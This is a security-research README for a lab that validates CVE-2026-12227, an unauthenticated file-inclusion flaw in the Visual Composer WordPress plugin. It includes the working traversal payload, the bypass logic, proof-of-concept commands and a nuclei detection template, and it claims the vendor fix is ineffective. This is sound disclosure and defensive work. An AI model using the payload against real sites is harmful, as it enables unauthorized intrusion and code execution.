Docker validation lab and safe-oracle PoC for CVE-2026-12227, an unauthenticated LFI in Visual Composer via vcv-template, with a nuclei detection template.
Security-research material for reproducing and validating CVE-2026-12227: an unauthenticated local file inclusion in Visual Composer Website Builder's page-template resolution (CVSS 3.1 9.8), plus a verified vendor-fix discrepancy (see below).
locate_template(), from the CVE-2026-87902 fix) - the plugin code itself
was never patched as of 45.16.3AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) - CWE-98Use only on systems you own or are explicitly authorized to test. The PoC fires harmless oracle includes (stock
wp-links-opml.php/xmlrpc.phpoutput). No file placement, no writes, no RCE payloads.
Status: proven in the supplied lab.
WP 7.1.1 + VC 45.16.1 : POST /?vcv-template-type=vc-custom-layout&
vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
-> 200, body contains <opml version="1.0"> (docroot PHP included + executed)
WP 7.1.1 + VC 45.16.3 : same request -> same oracle output
(the vendor "fixed" release is still exploitable)
WP 7.1.2 + VC 45.16.1 : silent (masked by the core gate, not by a plugin fix)
Marker-level proof (a planted PHP file in uploads/ included and executed,
unauthenticated GET) is part of the lab evidence and reproduced by
./lab verify on the vulnerable variant.
visualcomposer/Modules/Editors/Settings/PageTemplatesController.php::viewPageTemplate()
hooks template_include at priority 11 with no auth check:
// line 140: validation on the RAW request value
if (empty($current) || validate_file($current['value']) !== 0) {
return $originalTemplate;
}
// lines 146-149: mutation AFTER the gate
if ($current['type'] === 'vc-custom-layout' && strpos($current['value'], 'theme:') !== false) {
$current['value'] = str_replace('theme:', '', $current['value']);
}
// line 152: the sink
$result = locate_template($current['value']);
validate_file() rejects literal ... But the value is fused only after
the check, so splitting each traversal across a theme: boundary passes it:
raw: theme:.theme:./.theme:./.theme:./wp-links-opml.php (no literal '..')
validate: PASS (validate_file sees no '..' substring)
strip: str_replace('theme:', '', ...) removes every 'theme:' occurrence,
fusing the fragments: '.' + '../' per boundary
result: ../../../wp-links-opml.php (pure traversal, resolved by the sink)
Request::input() (Helpers/Request.php:76) returns raw
$_POST/$_GET/$_REQUEST, so nothing upstream cleans it either.
locate_template() resolves the candidate with file_exists(), which honors
.. segments.
WordPress 7.1.2 (the CVE-2026-87902 fix) added
_wp_is_template_path_allowed() inside locate_template()
(wp-includes/template.php). That core gate rejects the fused traversal
candidate, so on WP 7.1.2+ this plugin chain is masked by core - the
plugin was never patched. Attribution verified in-lab: on 7.1.2 the sink
still runs but is confined to the theme directory; on 7.1.1 it escapes.
Practical consequence: a site running Visual Composer 45.16.3 (the current release, advertised as fixed) on WordPress <= 7.1.1 is still unauthenticated-LFI-vulnerable today. Only the WordPress core update neutralizes it.
Requirements: Docker with Compose v2, Python 3.10+ on the host.
./lab verify
Runs three controls: vulnerable (WP 7.1.1 + VC 45.16.1, oracle must fire), patched (WP 7.1.2 + VC 45.16.1, oracle must stay silent), latest (WP 7.1.1 + VC 45.16.3, oracle must fire - the fix-discrepancy demonstration).
Vulnerable control:
[!!!] LFI CONFIRMED (safe oracle: wp-links-opml.php)
request : POST http://127.0.0.1:9488/?vcv-template-type=vc-custom-layout&vcv-template=theme:.theme:./.theme:./.theme:./wp-links-opml.php
evidence: <opml version="1.0">
RESULT: VULNERABLE CONTROL CONFIRMED
Patched control:
[=] oracle silent after N requests: WP 7.1.2+ core gate masking, ...
RESULT: PATCHED CONTROL CONFIRMED (masked by WP 7.1.2 core gate)
./lab start vulnerable # WP 7.1.1 + VC 45.16.1 on 127.0.0.1:9488
./lab test
./lab start patched # WP 7.1.2 + VC 45.16.1
./lab test
./lab start latest # WP 7.1.1 + VC 45.16.3 (still fires)
./lab test
./lab reset
Run the PoC by hand (loopback default; authorized external targets need the explicit override):
python3 poc/poc_cve_2026_12227.py --url http://127.0.0.1:9488
python3 poc/poc_cve_2026_12227.py --url https://target.example \
--allow-authorized-non-loopback [--insecure]
The nuclei template (nuclei/cve-2026-12227.yaml) fires the same oracle
payloads across homepage + page_id anchors at depths 3-6 with
stop-at-first-match.
| Combination | Result |
|---|---|
| WP 7.1.1 + VC 45.16.1 (= 45.16.0 code) | LFI reproduced (oracle + planted-marker execution) |
| WP 7.1.1 + VC 45.16.3 (current release) | LFI still fires |
| WP 7.1.2 + VC 45.16.1 | Silent (masked by core gate) |
| VC 45.16.2 | fix-diff reviewed; vulnerable path unchanged (not separately run) |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-12227.yaml
└── poc/
└── poc_cve_2026_12227.py
Not committed: assets/ (plugin zips), .lab-state, __pycache__/.
| Claim | Status |
|---|---|
| Unauthenticated LFI to PHP execution outside the theme dir | Proven (oracle + planted marker) |
| Vendor fix absent through 45.16.3 | Proven (code diff + live fire on 45.16.3) |
| WP 7.1.2 core masking | Proven (same request silent on 7.1.2, fires on 7.1.1) |
| Depth semantics | 3 ups to docroot from themes//; sweep covers 3-6 |
| RCE via pearcmd/write chains on real targets | Not executed (safe-oracle-only PoC) |
| 45.16.0 (original affected release) | Code-identical to 45.16.1; its wp.org zip lacks vendor/ and cannot install |
The advisories list the fix as landing in 45.16.1, but the vulnerable code
path is unchanged in every release through 45.16.3 (verified by tree diffs
and live fire). If you maintain Visual Composer: viewPageTemplate() needs
to re-validate (or refuse) the value after the theme: strip, not before.
Sites should not rely on plugin updates for this one - the WordPress 7.1.2
core update is what actually closes it.
Run this repository only on systems you own or are explicitly authorized to
test. The lab driver refuses unknown variants, the PoC refuses non-loopback
targets unless --allow-authorized-non-loopback is supplied, and the Compose
port is bound to 127.0.0.1.
See SECURITY.md for disclosure handling. This repository does not include production targets, customer data, access tokens, or evidence from real systems.
MIT - see LICENSE.